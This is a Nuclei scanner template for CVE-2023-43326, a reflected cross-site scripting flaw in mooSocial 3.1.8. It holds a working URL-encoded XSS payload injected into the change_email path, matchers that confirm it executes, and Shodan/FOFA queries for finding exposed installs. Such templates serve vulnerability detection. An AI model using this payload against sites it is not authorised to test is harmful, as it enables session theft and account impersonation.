id: CVE-2023-43326

info:
  name: MooSocial 3.1.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability exisits in multiple url of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through URL parameters in the change_email endpoint to steal MooSocial user session cookies and impersonate victim accounts.
  remediation: |
    Update MooSocial to a version newer than 3.1.8 that properly sanitizes and encodes URL parameters in user management endpoints.
  reference:
    - https://github.com/ahrixia/CVE-2023-43326
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43326
    - https://moosocial.com/
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-43326
    cwe-id: CWE-79
    epss-score: 0.01615
    epss-percentile: 0.72858
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moosocial
    shodan-query: http.favicon.hash:"702863115"
    fofa-query: icon_hash="702863115"
  tags: cve2023,cve,xss,moosocial,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/users/change_emailahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3eahrixia?step1=1"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<img src=a onerror=alert(document.domain)>", "mooSocial")'
        condition: and
# digest: 4a0a00473045022048b2587553a4b2e142d16de24183cf9d6a61c33263e918c67bd62a95ae702460022100ed4381f1d7444f300afbc337ce175ff0e91702b8463fd2caad86ef6226d6bb88:922c64590222798bb761d5b6d8e72950